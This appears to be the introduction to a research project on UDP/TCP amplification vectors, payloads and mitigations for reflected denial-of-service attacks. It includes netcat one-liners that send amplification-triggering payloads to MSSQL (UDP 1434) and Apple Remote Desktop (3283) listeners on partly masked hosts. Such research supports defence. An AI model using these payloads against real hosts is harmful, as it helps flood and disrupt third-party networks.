Amplification Research

AMP-Research is a research on exotic UDP/TCP amplification vectors, payloads and mitigations.

Amplification is where a simple malformed socket or packets request elicit a response larger than the input data. This can be abused to "amplify" a request, by means of Distributed Reflected Denial of Service (DRDoS) attacks or DDoS. 

Best way to show what this means is using the network protocol MSSQL over TCP/IP UDP port 1434 (23 times amplification factor) as an example.

$ echo -ne '\x02' | nc -u -q 2 190.xx.xx.xx 1434|xxd -p|wc -c
629 bytes

Another example on ARD (Apple Remote Desktop) listener:

$ echo -ne '\x00\x14\x00\x01\x03' |nc -u 89.xx.xx.xx 3283|hexdump
